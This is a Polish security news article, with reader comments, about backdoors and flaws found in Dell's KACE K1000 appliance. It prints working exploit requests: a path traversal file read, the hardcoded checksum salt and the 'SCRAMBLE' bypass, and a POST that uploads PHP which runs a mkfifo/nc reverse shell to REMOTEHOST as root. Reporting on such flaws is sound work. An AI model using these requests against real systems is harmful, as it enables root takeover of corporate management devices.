11.03.2014 | 16:42

Adam Haertle

Ninja, małpa, pirat, laser czyli tylna furtka wg Della

Przedstawiamy prosty przepis, jak trafić do artykułu na Z3S: wystarczy w swoim profesjonalnym produkcie popełnić trywialne błędy, wstawić tylną furtkę z zabawnym hasłem oraz wbudować obejście tylnej furtki na wszelki wypadek. Sukces gwarantowany!

Twórcy oprogramowania wbudowanego w różne urządzenia pewnie nie spodziewali się, że ktokolwiek będzie je kiedyś analizował. Takie przekonanie sprawiało, że zostawiali w nim różne dziwne cuda. Jedne z ciekawszych można znaleźć w profesjonalnym sprzęcie Della.

Poważne urządzenie i proste błędy

Jednym z produktów Della jest urządzenie KACE K1000. Jest to „magiczne pudełko”, które służy do automatyzacji zarządzania sprzętem oraz oprogramowaniem w sieci korporacyjnej. Wykrywanie innych urządzeń, aktualizacja oprogramowania, wymuszanie polityk bezpieczeństwa – bywa przydatne. Kilka dni temu przyjrzał mu się autor serwisu Console Cowboys i znalazł parę prawdziwych perełek.

Zacznijmy od trywialnego błędu typu path traversal. Wywołanie skryptu

POST /userui/downloadpxy.php HTTP/1.1

z treścią żądania

DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

powoduje pobranie dowolnego pliku, do którego dostęp ma serwer www. Błąd sam w sobie ma umiarkowane konsekwencje – skrypt może wywołać tylko autoryzowany użytkownik. Możliwość odczytu dowolnego pliku jest jednak dobrym początkiem dalszych poszukiwań, szczególnie wtedy, kiedy odwołanie do katalogu powoduje wyliczenie znajdujących się w nim plików.

Ninja, małpa, pirat i laser

Kolejnym znaleziskiem okazał się plik

http://192.168.100.100/service/kbot_upload.php

który, w przeciwieństwie do poprzednika, nie weryfikuje, czy jest wywołany z prawidłowo zalogowanej sesji, a zamiast tego przeprowadza własne sprawdzenie praw użytkownika. Wygląda ono tak:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

Zanim jednak przeanalizujemy dokładniej ten fragment, spójrzmy jak liczona jest zmienna checksum:

md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Zmienna, której wartośc powinna decydować o tym, czy skrypt pozwoli na wgranie własngo pliku na serwer, liczona jest jako funkcja skrótu MD5 z nazwy pliku, identyfikatora urządzenia, adresu MAC oraz soli zaczynającej się od słów ninjamonkeypiratelaser. Ktoś miał niezła fantazję. Ale to oczywiście nie wszystko.

Tylna furtka w tylnej furtce

Obliczenie prawidłowej wartości zmiennej zależy od kilku czynników i prawdopodobnie powodowało problemy, które twórca kodu opisał w komentarzu:

private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }

Jak zatem ominąć problem? Zawsze można w kodzie zaszyć dodatkowe obejście! Jeśli spojrzycie na kod paragraf wyżej, znajdziecie tam dodatkowy warunek – jeśli zmienna checksum równa jest SCRAMBLE, to skrypt jest wykonywany.

Teraz już tylko root

Co prawda skrypt kbot_upload.php pozwala na zapisywanie plików w dowolnym miejscu serwera (znowu błąd typu path traversal), to niestety tylko z prawami serwera www. Na szczęście i na to znajdzie się rozwiązanie. Najpierw znajdujemy folder z prawami tworzenia nowych plików (np. /kbox/kboxwww/tmp) a następnie wykorzystujemy plik KSudoClient.class.php, który co prawda nie znajduje się w drzewie plików serwera www, ale pozwala na wykonanie polecenia z uprawnieniami roota. Jeśli chcemy więc by urządzenie Della połączyło się z naszym serwerem, udostępniając nam powłokę z uprawnieniami roota, wystarczy wydać następujące polecenie:

POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>

Teraz wystarczy już tylko wywołać plik

http://192.168.100.100/service/tmp/db.php

by otrzymać upragnionego roota. Na GitHubie znajdziecie skrypt automatyzujący całą operację. Na zakończenie oklaski dla autorów oprogramowania oraz zrzut ekranu pokazujący działanie skryptu w praktyce.

Działanie skryptu (źródło: Console Cowboys)

Działanie skryptu (źródło: Console Cowboys)

Powrót

Komentarze

  • 2014.03.11 22:15 minus1

    Czas zacząć pozywać producentów. Ta fuszera musi się skończyć

    Odpowiedz
  • 2014.03.12 00:35 ja

    „Na GitHubie znajdzieCIE skrypt”.

    Odpowiedz
    • 2014.03.12 07:06 Adam

      Dzięki, poprawione.

      Odpowiedz
      • 2014.07.22 15:33 milosz

        „znajdzieCię skrypt”

        Odpowiedz
        • 2014.07.22 16:14 Adam

          Dzięki, poprawione.

          Odpowiedz
  • 2014.03.12 06:49 Anonim

    Czekaj minus1 bo akurat wygrasz.

    Odpowiedz
  • 2014.03.12 20:31 yy

    z innej beczki..
    poczytałbym jakiś artykuł o trojanie, który ponoć zainfekowal komputery zespołu F1 Marussia przed testami w Bahrainie, bo wcześniej przegapiłem tę historię :D

    Odpowiedz

Zostaw odpowiedź do milosz

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Ninja, małpa, pirat, laser czyli tylna furtka wg Della

Komentarze